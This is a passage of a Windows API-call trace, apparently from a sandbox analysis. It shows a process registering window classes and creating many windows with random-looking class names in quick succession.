nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.749] RegisterClassA (lpWndClass=0x261fae0) returned 0x1360004c23f [0051.749] CreateWindowExA (dwExStyle=0x4, lpClassName="Clxr", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.749] RegisterClassA (lpWndClass=0x261fae0) returned 0x860003c240 [0051.749] CreateWindowExA (dwExStyle=0x4, lpClassName="Nyl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.749] RegisterClassA (lpWndClass=0x261fae0) returned 0x13a0002c241 [0051.749] CreateWindowExA (dwExStyle=0x4, lpClassName="Dmnmt", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.749] RegisterClassA (lpWndClass=0x261fae0) returned 0x8a0002c242 [0051.749] CreateWindowExA (dwExStyle=0x4, lpClassName="Tfs", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.749] RegisterClassA (lpWndClass=0x261fae0) returned 0x13e0004c243 [0051.750] CreateWindowExA (dwExStyle=0x4, lpClassName="Pmacfn", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.750] RegisterClassA (lpWndClass=0x261fae0) returned 0x1420002c244 [0051.750] CreateWindowExA (dwExStyle=0x4, lpClassName="Qdcc", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.750] RegisterClassA (lpWndClass=0x261fae0) returned 0x1460004c245 [0051.750] CreateWindowExA (dwExStyle=0x4, lpClassName="Trxyqt", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.750] RegisterClassA (lpWndClass=0x261fae0) returned 0x8e0003c246 [0051.750] CreateWindowExA (dwExStyle=0x4, lpClassName="Xkm", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.750] RegisterClassA (lpWndClass=0x261fae0) returned 0x14a0002c247 [0051.750] CreateWindowExA (dwExStyle=0x4, lpClassName="Zcsca", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.750] RegisterClassA (lpWndClass=0x261fae0) returned 0x14e0004c248 [0051.750] CreateWindowExA (dwExStyle=0x4, lpClassName="Asegu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.750] RegisterClassA (lpWndClass=0x261fae0) returned 0x920002c249 [0051.750] CreateWindowExA (dwExStyle=0x4, lpClassName="Khc", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.751] RegisterClassA (lpWndClass=0x261fae0) returned 0x1520002c24a [0051.751] CreateWindowExA (dwExStyle=0x4, lpClassName="Uuereg", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.751] RegisterClassA (lpWndClass=0x261fae0) returned 0x1560004c24b [0051.751] CreateWindowExA (dwExStyle=0x4, lpClassName="Mubbiw", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.751] RegisterClassA (lpWndClass=0x261fae0) returned 0x15a0002c24c [0051.751] CreateWindowExA (dwExStyle=0x4, lpClassName="Dejjgz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.751] RegisterClassA (lpWndClass=0x261fae0) returned 0x960003c24d [0051.751] CreateWindowExA (dwExStyle=0x4, lpClassName="Bcw", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.751] RegisterClassA (lpWndClass=0x261fae0) returned 0x15e0004c24e [0051.751] CreateWindowExA (dwExStyle=0x4, lpClassName="Skey", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.751] RegisterClassA (lpWndClass=0x261fae0) returned 0x1620002c24f [0051.751] CreateWindowExA (dwExStyle=0x4, lpClassName="Tqdsx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.751] RegisterClassA (lpWndClass=0x261fae0) returned 0x1660004c250 [0051.751] CreateWindowExA (dwExStyle=0x4, lpClassName="Kzjucq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.752] RegisterClassA (lpWndClass=0x261fae0) returned 0x16a0002c251 [0051.752] CreateWindowExA (dwExStyle=0x4, lpClassName="Xitr", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.752] RegisterClassA (lpWndClass=0x261fae0) returned 0x16e0004c252 [0051.752] CreateWindowExA (dwExStyle=0x4, lpClassName="Ikzl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.752] RegisterClassA (lpWndClass=0x261fae0) returned 0x1720002c253 [0051.752] CreateWindowExA (dwExStyle=0x4, lpClassName="Vrpsgm", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.752] RegisterClassA (lpWndClass=0x261fae0) returned 0x1760004c254 [0051.752] CreateWindowExA (dwExStyle=0x4, lpClassName="Dnnjp", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.752] RegisterClassA (lpWndClass=0x261fae0) returned 0x9a0002c255 [0051.752] CreateWindowExA (dwExStyle=0x4, lpClassName="Cgu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.752] RegisterClassA (lpWndClass=0x261fae0) returned 0x17a0002c256 [0051.752] CreateWindowExA (dwExStyle=0x4, lpClassName="Bmisk", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.752] RegisterClassA (lpWndClass=0x261fae0) returned 0x9e0003c257 [0051.752] CreateWindowExA (dwExStyle=0x4, lpClassName="Age", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.753] RegisterClassA (lpWndClass=0x261fae0) returned 0xa20002c258 [0051.753] CreateWindowExA (dwExStyle=0x4, lpClassName="Hyf", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.753] RegisterClassA (lpWndClass=0x261fae0) returned 0x17e0004c259 [0051.753] CreateWindowExA (dwExStyle=0x4, lpClassName="Sgbeo", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.753] RegisterClassA (lpWndClass=0x261fae0) returned 0x1820002c25a [0051.753] CreateWindowExA (dwExStyle=0x4, lpClassName="Pbpv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.753] RegisterClassA (lpWndClass=0x261fae0) returned 0x1860004c25b [0051.753] CreateWindowExA (dwExStyle=0x4, lpClassName="Jmjhdo", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.753] RegisterClassA (lpWndClass=0x261fae0) returned 0xa60003c25c [0051.753] CreateWindowExA (dwExStyle=0x4, lpClassName="Fhe", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.753] RegisterClassA (lpWndClass=0x261fae0) returned 0x18a0002c25d [0051.753] CreateWindowExA (dwExStyle=0x4, lpClassName="Ehapaz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.753] RegisterClassA (lpWndClass=0x261fae0) returned 0x18e0004c25e [0051.753] CreateWindowExA (dwExStyle=0x4, lpClassName="Oxae", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.754] RegisterClassA (lpWndClass=0x261fae0) returned 0xaa0002c25f [0051.754] CreateWindowExA (dwExStyle=0x4, lpClassName="Jsa", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.754] RegisterClassA (lpWndClass=0x261fae0) returned 0x1920002c260 [0051.754] CreateWindowExA (dwExStyle=0x4, lpClassName="Frkrwi", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.754] RegisterClassA (lpWndClass=0x261fae0) returned 0x1960004c261 [0051.754] CreateWindowExA (dwExStyle=0x4, lpClassName="Blbntf", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.754] RegisterClassA (lpWndClass=0x261fae0) returned 0x19a0002c262 [0051.754] CreateWindowExA (dwExStyle=0x4, lpClassName="Ujrb", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.754] RegisterClassA (lpWndClass=0x261fae0) returned 0x19e0004c263 [0051.754] CreateWindowExA (dwExStyle=0x4, lpClassName="Tjwr", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.754] RegisterClassA (lpWndClass=0x261fae0) returned 0x1a20002c264 [0051.754] CreateWindowExA (dwExStyle=0x4, lpClassName="Sfise", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.754] RegisterClassA (lpWndClass=0x261fae0) returned 0x1a60004c265 [0051.755] CreateWindowExA (dwExStyle=0x4, lpClassName="Phuqxe", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.755] RegisterClassA (lpWndClass=0x261fae0) returned 0x1aa0002c266 [0051.755] CreateWindowExA (dwExStyle=0x4, lpClassName="Imsy", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.755] RegisterClassA (lpWndClass=0x261fae0) returned 0xae0003c267 [0051.755] CreateWindowExA (dwExStyle=0x4, lpClassName="Nvr", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.755] RegisterClassA (lpWndClass=0x261fae0) returned 0xb20002c268 [0051.755] CreateWindowExA (dwExStyle=0x4, lpClassName="Xtf", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.755] RegisterClassA (lpWndClass=0x261fae0) returned 0x1ae0004c269 [0051.755] CreateWindowExA (dwExStyle=0x4, lpClassName="Wrmmgl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.755] RegisterClassA (lpWndClass=0x261fae0) returned 0x1b20002c26a [0051.755] CreateWindowExA (dwExStyle=0x4, lpClassName="Efrijq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.755] RegisterClassA (lpWndClass=0x261fae0) returned 0x1b60004c26b [0051.755] CreateWindowExA (dwExStyle=0x4, lpClassName="Rbjpkb", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.755] RegisterClassA (lpWndClass=0x261fae0) returned 0x1ba0002c26c [0051.756] CreateWindowExA (dwExStyle=0x4, lpClassName="Vlmmo", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.756] RegisterClassA (lpWndClass=0x261fae0) returned 0x1be0004c26d [0051.756] CreateWindowExA (dwExStyle=0x4, lpClassName="Fhyip", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.756] RegisterClassA (lpWndClass=0x261fae0) returned 0x1c20002c26e [0051.756] CreateWindowExA (dwExStyle=0x4, lpClassName="Izskkg", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.756] RegisterClassA (lpWndClass=0x261fae0) returned 0x1c60004c26f [0051.756] CreateWindowExA (dwExStyle=0x4, lpClassName="Oglp", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.756] RegisterClassA (lpWndClass=0x261fae0) returned 0x1ca0002c270 [0051.756] CreateWindowExA (dwExStyle=0x4, lpClassName="Oxssbb", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.756] RegisterClassA (lpWndClass=0x261fae0) returned 0x1ce0004c271 [0051.756] CreateWindowExA (dwExStyle=0x4, lpClassName="Qvcx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.756] RegisterClassA (lpWndClass=0x261fae0) returned 0x1d20002c272 [0051.756] CreateWindowExA (dwExStyle=0x4, lpClassName="Eyim", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.756] RegisterClassA (lpWndClass=0x261fae0) returned 0x1d60004c273 [0051.757] CreateWindowExA (dwExStyle=0x4, lpClassName="Yspij", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.757] RegisterClassA (lpWndClass=0x261fae0) returned 0x1da0002c274 [0051.757] CreateWindowExA (dwExStyle=0x4, lpClassName="Hamhj", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.757] RegisterClassA (lpWndClass=0x261fae0) returned 0x1de0004c275 [0051.757] CreateWindowExA (dwExStyle=0x4, lpClassName="Hgkn", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.757] RegisterClassA (lpWndClass=0x261fae0) returned 0x1e20002c276 [0051.757] CreateWindowExA (dwExStyle=0x4, lpClassName="Yffye", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.757] RegisterClassA (lpWndClass=0x261fae0) returned 0x1e60004c277 [0051.757] CreateWindowExA (dwExStyle=0x4, lpClassName="Myplxe", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.757] RegisterClassA (lpWndClass=0x261fae0) returned 0x1ea0002c278 [0051.757] CreateWindowExA (dwExStyle=0x4, lpClassName="Joqs", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.757] RegisterClassA (lpWndClass=0x261fae0) returned 0xb60003c279 [0051.757] CreateWindowExA (dwExStyle=0x4, lpClassName="Ceo", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.758] RegisterClassA (lpWndClass=0x261fae0) returned 0x1ee0004c27a [0051.758] CreateWindowExA (dwExStyle=0x4, lpClassName="Ueebcz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.758] RegisterClassA (lpWndClass=0x261fae0) returned 0x1f20002c27b [0051.758] CreateWindowExA (dwExStyle=0x4, lpClassName="Mvjt", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.758] RegisterClassA (lpWndClass=0x261fae0) returned 0x1f60004c27c [0051.758] CreateWindowExA (dwExStyle=0x4, lpClassName="Ovpdv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.758] RegisterClassA (lpWndClass=0x261fae0) returned 0x1fa0002c27d [0051.758] CreateWindowExA (dwExStyle=0x4, lpClassName="Adikl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.760] RegisterClassA (lpWndClass=0x261fae0) returned 0x1fe0004c27e [0051.761] CreateWindowExA (dwExStyle=0x4, lpClassName="Idjq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.761] RegisterClassA (lpWndClass=0x261fae0) returned 0x2020002c27f [0051.761] CreateWindowExA (dwExStyle=0x4, lpClassName="Nimc", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.761] RegisterClassA (lpWndClass=0x261fae0) returned 0x2060004c280 [0051.761] CreateWindowExA (dwExStyle=0x4, lpClassName="Kmek", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.761] RegisterClassA (lpWndClass=0x261fae0) returned 0x20a0002c281 [0051.761] CreateWindowExA (dwExStyle=0x4, lpClassName="Goald", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.761] RegisterClassA (lpWndClass=0x261fae0) returned 0x20e0004c282 [0051.761] CreateWindowExA (dwExStyle=0x4, lpClassName="Jpdqio", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.761] RegisterClassA (lpWndClass=0x261fae0) returned 0x2120002c283 [0051.761] CreateWindowExA (dwExStyle=0x4, lpClassName="Wpqv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.761] RegisterClassA (lpWndClass=0x261fae0) returned 0xba0002c284 [0051.761] CreateWindowExA (dwExStyle=0x4, lpClassName="Ruv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.761] RegisterClassA (lpWndClass=0x261fae0) returned 0x2160004c285 [0051.762] CreateWindowExA (dwExStyle=0x4, lpClassName="Twofj", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.762] RegisterClassA (lpWndClass=0x261fae0) returned 0x21a0002c286 [0051.762] CreateWindowExA (dwExStyle=0x4, lpClassName="Mqzya", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.762] RegisterClassA (lpWndClass=0x261fae0) returned 0x21e0004c287 [0051.762] CreateWindowExA (dwExStyle=0x4, lpClassName="Lpzcbk", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.762] RegisterClassA (lpWndClass=0x261fae0) returned 0x2220002c288 [0051.762] CreateWindowExA (dwExStyle=0x4, lpClassName="Nbfhwf", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.762] RegisterClassA (lpWndClass=0x261fae0) returned 0x2260004c289 [0051.762] CreateWindowExA (dwExStyle=0x4, lpClassName="Hkgu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.762] RegisterClassA (lpWndClass=0x261fae0) returned 0x22a0002c28a [0051.762] CreateWindowExA (dwExStyle=0x4, lpClassName="Whsduz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.762] RegisterClassA (lpWndClass=0x261fae0) returned 0x22e0004c28b [0051.762] CreateWindowExA (dwExStyle=0x4, lpClassName="Tliyi", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.763] RegisterClassA (lpWndClass=0x261fae0) returned 0x2320002c28c [0051.763] CreateWindowExA (dwExStyle=0x4, lpClassName="Wcqi", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.763] RegisterClassA (lpWndClass=0x261fae0) returned 0xbe0003c28d [0051.763] CreateWindowExA (dwExStyle=0x4, lpClassName="Yws", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.763] RegisterClassA (lpWndClass=0x261fae0) returned 0x2360004c28e [0051.763] CreateWindowExA (dwExStyle=0x4, lpClassName="Wepwm", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.763] RegisterClassA (lpWndClass=0x261fae0) returned 0x23a0002c28f [0051.763] CreateWindowExA (dwExStyle=0x4, lpClassName="Lbxb", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.763] RegisterClassA (lpWndClass=0x261fae0) returned 0xc20002c290 [0051.763] CreateWindowExA (dwExStyle=0x4, lpClassName="Gru", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.764] RegisterClassA (lpWndClass=0x261fae0) returned 0x23e0004c291 [0051.764] CreateWindowExA (dwExStyle=0x4, lpClassName="Pfurh", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.764] RegisterClassA (lpWndClass=0x261fae0) returned 0x2420002c292 [0051.764] CreateWindowExA (dwExStyle=0x4, lpClassName="Qijtbq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.764] RegisterClassA (lpWndClass=0x261fae0) returned 0xc60003c293 [0051.764] CreateWindowExA (dwExStyle=0x4, lpClassName="Von", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.764] RegisterClassA (lpWndClass=0x261fae0) returned 0x2460004c294 [0051.764] CreateWindowExA (dwExStyle=0x4, lpClassName="Pkwp", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.764] RegisterClassA (lpWndClass=0x261fae0) returned 0x24a0002c295 [0051.764] CreateWindowExA (dwExStyle=0x4, lpClassName="Zpqri", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.764] RegisterClassA (lpWndClass=0x261fae0) returned 0xca0002c296 [0051.764] CreateWindowExA (dwExStyle=0x4, lpClassName="Gdi", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.764] RegisterClassA (lpWndClass=0x261fae0) returned 0x24e0004c297 [0051.764] CreateWindowExA (dwExStyle=0x4, lpClassName="Vnyt", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.765] RegisterClassA (lpWndClass=0x261fae0) returned 0x2520002c298 [0051.765] CreateWindowExA (dwExStyle=0x4, lpClassName="Hlpk", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.765] RegisterClassA (lpWndClass=0x261fae0) returned 0x2560004c299 [0051.765] CreateWindowExA (dwExStyle=0x4, lpClassName="Kicl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.765] RegisterClassA (lpWndClass=0x261fae0) returned 0x25a0002c29a [0051.765] CreateWindowExA (dwExStyle=0x4, lpClassName="Hkzfmx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.765] RegisterClassA (lpWndClass=0x261fae0) returned 0xce0003c29b [0051.765] CreateWindowExA (dwExStyle=0x4, lpClassName="Pia", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.765] RegisterClassA (lpWndClass=0x261fae0) returned 0x25e0004c29c [0051.765] CreateWindowExA (dwExStyle=0x4, lpClassName="Miliwj", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, 